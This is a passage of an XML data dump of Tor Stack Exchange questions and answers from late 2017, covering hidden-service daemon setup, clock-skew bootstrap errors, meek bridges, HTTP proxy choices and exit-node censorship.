[notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Nov 05 18:34:47.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Nov 05 18:34:48.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Nov 05 18:34:48.000 [notice] Bootstrapped 100%: Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But whenever I try to run it as a daemon then my hidden service won't start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/etc/tor/torrc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#SOCKSPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SOCKSPort 192.168.0.1:9100 # Bind to this address:port too.&#xA;&#xA;#SOCKSPolicy accept 192.168.0.0/16&#xA;#SOCKSPolicy accept6 FC00::/7&#xA;#SOCKSPolicy reject *&#xA;&#xA;Log notice file /var/log/tor/notices.log&#xA;Log debug file /var/log/tor/debug.log&#xA;#Log notice syslog&#xA;#Log debug stderr&#xA;&#xA;#RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;DataDirectory /var/lib/tor&#xA;&#xA;#ControlPort 9051&#xA;&#xA;#CookieAuthentication 1&#xA;&#xA;###########################################&#xA;&#xA;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:1337&#xA;&#xA;###########################################&#xA;&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;&#xA;#Address noname.example.com&#xA;&#xA;#OutboundBindAddressExit 10.0.0.4&#xA;#OutboundBindAddressOR 10.0.0.5&#xA;&#xA;#Nickname ididnteditheconfig&#xA;&#xA;#RelayBandwidthRate 100 KBytes  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KBytes # But allow bursts up to 200KB (1600Kb)&#xA;&#xA;&#xA;#AccountingMax 40 GBytes&#xA;#AccountingStart day 00:00&#xA;#AccountingStart month 3 15:00&#xA;&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;#DirPortFrontPage @CONFDIR@/tor-exit-notice.html&#xA;&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports on IPv4 and IPv6 but no more&#xA;#ExitPolicy accept *:119 # accept nntp ports on IPv4 and IPv6 as well as default exit policy&#xA;#ExitPolicy accept *4:119 # accept nntp ports on IPv4 only as well as default exit policy&#xA;#ExitPolicy accept6 *6:119 # accept nntp ports on IPv6 only as well as default exit policy&#xA;#ExitPolicy reject *:* # no exits allowed&#xA;&#xA;#BridgeRelay 1&#xA;#PublishServerDescriptor 0&#xA;&#xA;#%include /etc/torrc.d/&#xA;#%include /etc/torrc.custom&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user19751" LastActivityDate="2019-08-28T05:02:40.353" Title="Tor hidden service is not starting when starting as a daemon" Tags="|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16058" PostTypeId="2" ParentId="16057" CreationDate="2017-11-05T21:24:38.150" Score="0" Body="&lt;p&gt;I actually fixed my issue by editing the &lt;code&gt;tor.service&lt;/code&gt; file in &lt;code&gt;/lib/systemd/system&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edited the ExecStart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original: &lt;code&gt;ExecStart=/bin/true&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New: &lt;code&gt;ExecStart=/usr/sbin/tor -f /etc/tor/torrc&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user19751" LastActivityDate="2017-11-05T21:24:38.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16059" PostTypeId="2" ParentId="9529" CreationDate="2017-11-06T00:00:29.003" Score="2" Body="&lt;p&gt;Best way is to set it via Control Panel:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;right click start -&gt; control panel -&gt; internet options -&gt; connections&#xA;tab -&gt; LAN settings &lt;/li&gt;&#xA;&lt;li&gt;Check off &quot;Use a proxy server for your LAN...&quot;&lt;/li&gt;&#xA;&lt;li&gt;Optionally, select &quot;Bypass proxy server for local addresses&quot; &lt;/li&gt;&#xA;&lt;li&gt;Choose &quot;Advanced&quot;&lt;/li&gt;&#xA;&lt;li&gt;enter in the IP and port (127.0.0.1 : 9150) in the&#xA;&quot;Socks&quot; fields, and leave the rest of them blank&lt;/li&gt;&#xA;&lt;li&gt;Hit OK to save/exit out Test with either browser&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Source:&#xA;&lt;a href=&quot;https://www.reddit.com/r/techsupport/comments/4j0l35/windows_10_route_all_traffic_through_socks5_proxy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/techsupport/comments/4j0l35/windows_10_route_all_traffic_through_socks5_proxy/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19755" LastActivityDate="2017-11-06T00:00:29.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16060" PostTypeId="2" ParentId="4099" CreationDate="2017-11-06T04:36:04.597" Score="1" Body="&lt;p&gt;Fred is right.  From a probability perspective, if one in ten relays are compromised, you always have a one in ten chance of getting the compromised relay.  Therefore, there is no advantage to forcing the use of one relay.  However, if an entity (with the help of your internet provider) were to direct your Tor request to a compromised relay, you would have no way to randomize relay choice to minimize your chance of getting it.  In this case, you have a 100% chance of using a compromised relay.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to see the mathematical analysis behind this policy because it seems to make hijacking much more possible.&lt;/p&gt;&#xA;" OwnerUserId="19759" LastEditorUserId="19759" LastEditDate="2017-11-06T04:51:26.003" LastActivityDate="2017-11-06T04:51:26.003" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16063" PostTypeId="5" CreationDate="2017-11-06T16:17:29.740" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2017-11-06T16:17:29.740" LastActivityDate="2017-11-06T16:17:29.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16064" PostTypeId="4" CreationDate="2017-11-06T16:17:29.740" Score="0" Body="This is a special tag that is designed to be used only by the system for questions that have had all of their other tags removed. Do not add this tag to existing questions, it is reserved for use by the system to identify posts with no valid tags." OwnerUserId="14997" LastEditorUserId="14997" LastEditDate="2017-12-06T22:56:35.980" LastActivityDate="2017-12-06T22:56:35.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16066" PostTypeId="2" ParentId="15604" CreationDate="2017-11-06T22:18:30.350" Score="0" Body="&lt;p&gt;Yes, it is possible to SSH from HOST &gt; Gateway &gt; Workstation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried these instructions?&#xA;&lt;a href=&quot;https://www.whonix.org/wiki/File_Transfer#SSH_into_Whonix-Gateway&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/File_Transfer#SSH_into_Whonix-Gateway&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19769" LastActivityDate="2017-11-06T22:18:30.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16067" PostTypeId="1" CreationDate="2017-11-07T15:46:51.650" Score="3" ViewCount="7732" Body="&lt;p&gt;been having trouble getting on TOR, it gives me this log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3/11/2017 17:45:43.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/11/2017 17:45:43.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/11/2017 17:45:43.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/11/2017 17:45:43.700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/11/2017 17:45:44.200 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;3/11/2017 17:45:44.300 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;3/11/2017 17:45:44.400 [WARN] Received NETINFO cell with skewed time (OR:194.109.206.212:443): It seems that our clock is behind by 3 days, 22 hours, 53 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;3/11/2017 17:45:44.400 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;3/11/2017 17:45:44.400 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;3/11/2017 17:45:44.400 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;3/11/2017 17:45:50.800 [WARN] Received NETINFO cell with skewed time (OR:154.35.175.225:443): It seems that our clock is behind by 3 days, 22 hours, 52 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;3/11/2017 17:46:02.700 [WARN] Received NETINFO cell with skewed time (OR:199.58.81.140:443): It seems that our clock is behind by 3 days, 22 hours, 52 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;3/11/2017 17:46:35.800 [WARN] Received NETINFO cell with skewed time (OR:128.31.0.34:9101): It seems that our clock is behind by 3 days, 22 hours, 52 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;3/11/2017 17:46:36.100 [WARN] Received directory with skewed time (DIRSERV:128.31.0.34:9101): It seems that our clock is behind by 3 days, 22 hours, 52 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;3/11/2017 17:47:46.500 [WARN] Received NETINFO cell with skewed time (OR:193.23.244.244:443): It seems that our clock is behind by 3 days, 22 hours, 52 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;3/11/2017 17:48:48.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;3/11/2017 17:48:48.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/11/2017 17:48:48.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;3/11/2017 17:48:49.300 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i have rebooted my pc several times and adjusting my time doesn't work either&lt;/p&gt;&#xA;" OwnerUserId="19779" LastEditorUserId="9291" LastEditDate="2017-11-09T01:31:12.013" LastActivityDate="2018-07-07T11:36:25.237" Title="cannot connect to TOR because of wrong time" Tags="|windows|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16070" PostTypeId="2" ParentId="14469" CreationDate="2017-11-07T20:34:16.970" Score="1" Body="&lt;p&gt;All bridge servers included with the Tor Browser Bundle, including for obfs3, obfs4, fte, and meek, appear to be listed in &lt;code&gt;extension-overrides.js&lt;/code&gt;, in the Linux version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor-browser_en-US/Browser/TorBrowser/Data/Browser/profile.default/preferences/extension-overrides.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The current 2 meek servers are given as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;meek 0.0.2.0:2 B9E7141C594AF25699E0079C1F0146F409495296 url=https://d2cly7j4zqgua7.cloudfront.net/ front=a0.awsstatic.com&#xA;meek 0.0.2.0:3 97700DFE9F483596DDA6264C4D7DF7641E1E39CE url=https://meek.azureedge.net/ front=ajax.aspnetcdn.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To manually add them to a &lt;code&gt;torrc&lt;/code&gt; file, you'd write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;Bridge meek 0.0.2.0:2 url=&amp;lt;url&amp;gt; front=&amp;lt;front&amp;gt;&#xA;Bridge meek 0.0.2.0:3 url=&amp;lt;url&amp;gt; front=&amp;lt;front&amp;gt;&#xA;ClientTransportPlugin meek exec /path/to/meek-client&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since meek servers are not actually Tor bridges, the bridge address &lt;code&gt;0.0.2.0:port&lt;/code&gt; is ignored and can be anything.&lt;/p&gt;&#xA;" OwnerDisplayName="user14261" LastEditorDisplayName="user14261" LastEditDate="2017-11-07T20:43:49.460" LastActivityDate="2017-11-07T20:43:49.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16071" PostTypeId="2" ParentId="14834" CreationDate="2017-11-08T17:29:54.837" Score="-1" Body="&lt;p&gt;Tor makes use of hashed TLDs and this makes the DNS query secure but not leak proof , the usr ultimately has to rely on the relay nodes in every case&lt;/p&gt;&#xA;" OwnerUserId="17083" LastActivityDate="2017-11-08T17:29:54.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16072" PostTypeId="1" AcceptedAnswerId="16077" CreationDate="2017-11-08T19:36:18.517" Score="1" ViewCount="132" Body="&lt;p&gt;The three gifts that tor and tbb give are anonymity, privacy and no censorship or so I believed. For last few days/weeks I have been observing that quite a few domains don't work on tor anymore. While part of the answer may lie in domain takedowns and I suspect many are, but does censorship apply to rules of exit node. Just for e.g. let's say I'm sitting in Sri Lanka, using tor circuits out of any of the 140 countries where tor has a presence, for e.g. say using Germany as the exit node by chance. Now would censorship of Germany be applied to the requst for a site or am I mis-understanding something ?  I do know that in-between it's all encrypted communication through and through (https) but still is some leakage possible ?&lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2017-11-09T01:44:27.997" Title="censorship and tbb exit nodes." Tags="|tor-browser-bundle|exit-relays|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16073" PostTypeId="1" CreationDate="2017-11-08T19:37:12.970" Score="0" ViewCount="6061" Body="&lt;p&gt;How does one view videos on Tor if it will not allow Flash?  Is there another way?  I have tried several sites, and I am not able to view any videos.  What is the solution?&lt;/p&gt;&#xA;" OwnerUserId="19798" LastActivityDate="2023-01-29T23:04:20.567" Title="I need help viewing videos!" Tags="|tor-browser-bundle|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16075" PostTypeId="2" ParentId="16067" CreationDate="2017-11-09T01:38:14.120" Score="2" Body="&lt;p&gt;Well, the core of the readon is a clock and date, but the reason can be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You are really having wrong time on your PC. If it's windows - set it and the timezone in Control Panel, if it's unix-like - set the timezone &lt;strong&gt;first&lt;/strong&gt; and the date+time next.&lt;/li&gt;&#xA;&lt;li&gt;You're experiencing an NTP fake attack, here in Russia some ISP's do this stuff to disrupt Tor and torrent users. Here is the trick: they do announce an NTP server of them as &lt;em&gt;stratum 0&lt;/em&gt; and, due to the very fast connection to it via ISP's network - they can skew the clocks just sending a bad data over the network. It hit my router once, and I was pretty surprised with &lt;code&gt;ntpq&lt;/code&gt; and &lt;code&gt;tcpdump&lt;/code&gt; output... The &quot;cure&quot; is to have an NTP server of yours with strict IP filtering for input and use &lt;em&gt;your&lt;/em&gt; NTP server to sync all your time. It's rare, but 5 cases in 3 cities were in my recent practice.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-11-09T01:38:14.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16076" PostTypeId="2" ParentId="16073" CreationDate="2017-11-09T01:41:40.220" Score="0" Body="&lt;p&gt;It's very site-dependent, but there are two ways, generally:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you're using Tor Browser Bundle - use a HTML5 player on the site, it's ubiquitous now.&lt;/li&gt;&#xA;&lt;li&gt;If you have just Tor(tor Expert bundle) - use it as a router or a proxy for VM's where you do launch a flash-supporting browser to prevent data leaks. It's also the only way if you have just flash player on the website&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-11-09T01:41:40.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16077" PostTypeId="2" ParentId="16072" CreationDate="2017-11-09T01:44:27.997" Score="2" Body="&lt;p&gt;To the exit node the exit node's local ISP filters may apply - like to any other network client in that place: yes, from the point of ISP an exit node is a client. In your example a censorship of Germany will be applied, a censorship of Sri Lanka - won't be appled.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-11-09T01:44:27.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16078" PostTypeId="1" CreationDate="2017-11-09T05:16:13.533" Score="1" ViewCount="2647" Body="&lt;p&gt;I'm trying to share a SocksPort (SocksPort 192.168.0.14:10001) with a mobile device. The mobile device only supports HTTP proxies. It seems polipo used to be supported/promoted[1] by the torproject but based on general search queries, privoxy seems like the better candidate. Can someone weigh the pros/cons of the two and perhaps make a strong argument for one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://blog.torproject.org/category/tags/polipo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/category/tags/polipo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19803" LastActivityDate="2017-11-10T00:41:05.427" Title="Privoxy VS Polipo" Tags="|configuration|proxy|socks|torsocks|privoxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16080" PostTypeId="1" CreationDate="2017-11-09T11:23:42.200" Score="0" ViewCount="602" Body="&lt;p&gt;Whatever website I am on, it's never displayed in the &quot;Tor circuit for this site&quot; panel. It always says &quot;(-unknown-)&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a problem?&lt;/p&gt;&#xA;" OwnerUserId="19808" LastActivityDate="2022-03-25T03:06:10.690" Title="Tor circuit for this site (-unknown-)" Tags="|circuit|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16081" PostTypeId="2" ParentId="16078" CreationDate="2017-11-09T13:03:04.023" Score="2" Body="&lt;p&gt;Well, privoxy and polipo are &lt;em&gt;basically&lt;/em&gt; even: they both have filtering systems inside them, both are HTTP-to-SOCKS tools. In the last beta of tor you have a HTTPS proxy embedded in tor itself, so I'd rather recommend you to use an embedded one. To do so you should add &lt;a href=&quot;https://www.torproject.org/docs/tor-manual-dev.html.en#HTTPTunnelPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTPTunnelPort&lt;/a&gt; directive to your torrc like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTPTunnelPort 127.0.0.1:8118&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="12737" LastEditDate="2017-11-10T00:41:05.427" LastActivityDate="2017-11-10T00:41:05.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16082" PostTypeId="2" ParentId="16078" CreationDate="2017-11-09T21:25:19.510" Score="0" Body="&lt;p&gt;Polipo is a caching proxy. It's goal was to reduce traffic (but in modern world with modern browsers it is nearly useless). Polipo is no longer maintained. Sad but true.&#xA;Privoxy is a filtering non-caching proxy.&lt;/p&gt;&#xA;" OwnerUserId="10734" LastActivityDate="2017-11-09T21:25:19.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16083" PostTypeId="2" ParentId="15347" CreationDate="2017-11-09T22:10:56.353" Score="0" Body="&lt;p&gt;Try this Tor+Privoxy bundle: &lt;a href=&quot;https://www.praetor.space/downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.praetor.space/downloads&lt;/a&gt;&#xA;You can see what configuration they use.&lt;/p&gt;&#xA;" OwnerUserId="10734" LastActivityDate="2017-11-09T22:10:56.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16085" PostTypeId="2" ParentId="1858" CreationDate="2017-11-10T21:08:11.920" Score="0" Body="&lt;p&gt;The YT html5 page says my Tor browser supports html5 BUT nothing works!  All vids give this error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your browser does not currently recognize any of the video formats available.&#xA;Click here to visit our frequently asked questions about html5 video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Been there several times and the page always tells me the browser supports:&#xA;HTMLVideoELement&#xA;Media Source Extensions&#xA;MSE and WebM and VP9&#xA;The HTML5 player is currently used when possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried several different Firefox extensions that allegedly enable html5 BUT NOTHING WORKS!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do research and must play and review many videos daily.  A real pain to have to use another browser to do so, to copy and paste the url elesewhere.  Besides, I want to dump Chrome ASAP, as it is horrible.  But now have to keep it open for videos!  Which are choppy there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, how can I play videos in Tor???&lt;/p&gt;&#xA;" OwnerUserId="19823" LastActivityDate="2017-11-10T21:08:11.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16086" PostTypeId="1" CreationDate="2017-11-10T23:42:23.693" Score="0" ViewCount="245" Body="&lt;p&gt;With this tor version (I can't tell you because it isn't shown anywhere in the browser) every entry node is from the USA only. I'm always trying to avoid any node from USA or little britain. But it looks impossible now.&lt;/p&gt;&#xA;" OwnerUserId="19825" LastActivityDate="2017-11-11T01:02:29.153" Title="Every entry node is in the USA" Tags="|circuit|guard-node|" AnswerCount="1" CommentCount="0" ClosedDate="2017-11-25T23:15:39.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="16087" PostTypeId="2" ParentId="16086" CreationDate="2017-11-11T01:02:29.153" Score="0" Body="&lt;p&gt;Well, you should set these settings in your tor config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;StrictNodes 1&#xA;ExcludeNodes {us}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-11-11T01:02:29.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16088" PostTypeId="1" CreationDate="2017-11-11T08:41:23.917" Score="2" ViewCount="428" Body="&lt;p&gt;Get this warning every time. Started a couple of months ago. Googled around but didn't find anything useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 11 09:06:53.748 [notice] Tor 0.3.1.8 (git-868c1b2b1eb7225a) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2l, Zlib 1.2.8, Liblzma 5.1.0alpha, and Libzstd N/A.&#xA;Nov 11 09:12:25.000 [warn] Tried to establish rendezvous on non-OR circuit with purpose Acting as rendevous (pending)&#xA;Nov 11 09:12:33.000 [warn] Tried to establish rendezvous on non-OR circuit with purpose Acting as rendevous (pending)&#xA;Nov 11 09:13:22.000 [warn] Tried to establish rendezvous on non-OR circuit with purpose Acting as rendevous (pending)&#xA;Nov 11 09:15:50.000 [warn] Tried to establish rendezvous on non-OR circuit with purpose Acting as rendevous (pending)&#xA;Nov 11 09:17:28.000 [warn] Tried to establish rendezvous on non-OR circuit with purpose Acting as rendevous (pending)&#xA;Nov 11 09:25:27.000 [warn] Tried to establish rendezvous on non-OR circuit with purpose Acting as rendevous (pending)&#xA;Nov 11 09:26:51.000 [warn] Tried to establish rendezvous on non-OR circuit with purpose Acting as rendevous (pending)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="19828" LastEditorUserId="9291" LastEditDate="2017-11-11T21:52:46.163" LastActivityDate="2019-04-15T03:02:10.273" Title="Why this warning?" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16089" PostTypeId="2" ParentId="6839" CreationDate="2017-11-11T09:31:46.130" Score="0" Body="&lt;p&gt;You could just restart the service in Linux as well...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;service tor reload&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="19829" LastActivityDate="2017-11-11T09:31:46.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16093" PostTypeId="2" ParentId="6839" CreationDate="2017-11-12T17:59:25.353" Score="0" Body="&lt;pre&gt;&lt;code&gt;printf &quot;AUTHENTICATE \&quot;your_password\&quot;\r\nSIGNAL NEWNYM\r\n&quot; | nc 127.0.0.1 9051&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10734" LastActivityDate="2017-11-12T17:59:25.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16095" PostTypeId="1" CreationDate="2017-11-13T00:34:47.977" Score="0" ViewCount="2318" Body="&lt;pre&gt;&lt;code&gt;Nov 12 18:46:07 [removed] Tor[15935]: Saying &quot;HTTP/1.0 405 Method Not Allowed\r\n\r\n&quot;&#xA;Nov 12 18:46:07 [removed] Tor[15935]: connection_mark_unattached_ap_(): Bug: stream (marked at ../src/or/connection_edge.c:2544) sending two socks replies? (on Tor 0.3.2.4-alpha )&#xA;Nov 12 18:46:07 [removed] Tor[15935]: Saying &quot;HTTP/1.0 405 Method Not Allowed\r\n\r\n&quot;&#xA;Nov 12 18:46:07 [removed] Tor[15935]: connection_mark_unattached_ap_(): Bug: stream (marked at ../src/or/connection_edge.c:2544) sending two socks replies? (on Tor 0.3.2.4-alpha )&#xA;Nov 12 18:46:19 [removed] Tor[15935]: Saying &quot;HTTP/1.0 405 Method Not Allowed\r\n\r\n&quot;&#xA;Nov 12 18:46:19 [removed] Tor[15935]: connection_mark_unattached_ap_(): Bug: stream (marked at ../src/or/connection_edge.c:2544) sending two socks replies? (on Tor 0.3.2.4-alpha )&#xA;Nov 12 18:49:59 [removed] Tor[15935]: Saying &quot;HTTP/1.0 405 Method Not Allowed\r\n\r\n&quot;&#xA;Nov 12 18:49:59 [removed] Tor[15935]: connection_mark_unattached_ap_(): Bug: stream (marked at ../src/or/connection_edge.c:2544) sending two socks replies? (on Tor 0.3.2.4-alpha )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This error message occurs when I try accessing plain HTTP sites using the &lt;code&gt;HTTPTunnelPort&lt;/code&gt; directive. The proxy only seems to work with HTTPS sites. Is this expected behavior with the alpha release? Is it possible to access HTTP sites using the HTTPTunnelPort?&lt;/p&gt;&#xA;" OwnerUserId="19845" LastActivityDate="2022-07-31T22:04:50.423" Title="405 Method: connection_mark_unattached_ap_()" Tags="|configuration|firefox|proxy|https|web-proxy|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16097" PostTypeId="1" AcceptedAnswerId="16102" CreationDate="2017-11-13T14:31:51.427" Score="0" ViewCount="139" Body="&lt;p&gt;Let's say I'm using both tbb and torify at the same time. For e.g. I'm using tor to browser/look at tor.stackexchange.com. At the same time I am running torify on a different url say &lt;a href=&quot;https://aaa.bbb.ccc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://aaa.bbb.ccc&lt;/a&gt; (just a hypothetical url at moment, although it probably might be registered by a domain hoarder but that's a different topic) . Now in such a scenario would both be using the same cricuit, nodes, path etc. or would both use different circuits &#xA;'&lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2017-11-14T07:28:22.903" Title="would torify use the same circuit as tbb when both are in operation?" Tags="|tor-browser-bundle|exit-relays|circuit|guard-node|torify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16098" PostTypeId="1" CreationDate="2017-11-13T16:05:58.093" Score="4" ViewCount="376" Body="&lt;p&gt;My desktop OS is Fedora 26 and the Tor browser is 7.0.9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found tor browser can't print as print to file, it produces nothing. The print preview looks nice but doesn't produce any file (PDF or PS) when print as print to file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried this on Ubuntu 17.10 and also have the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this is a bug. Or can anyone workaround this problem ?&lt;/p&gt;&#xA;" OwnerUserId="17844" LastActivityDate="2022-03-28T12:00:35.070" Title="Tor Browser 7.0.9 can't print page to file" Tags="|tor-browser-bundle|linux|ubuntu|fedora|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
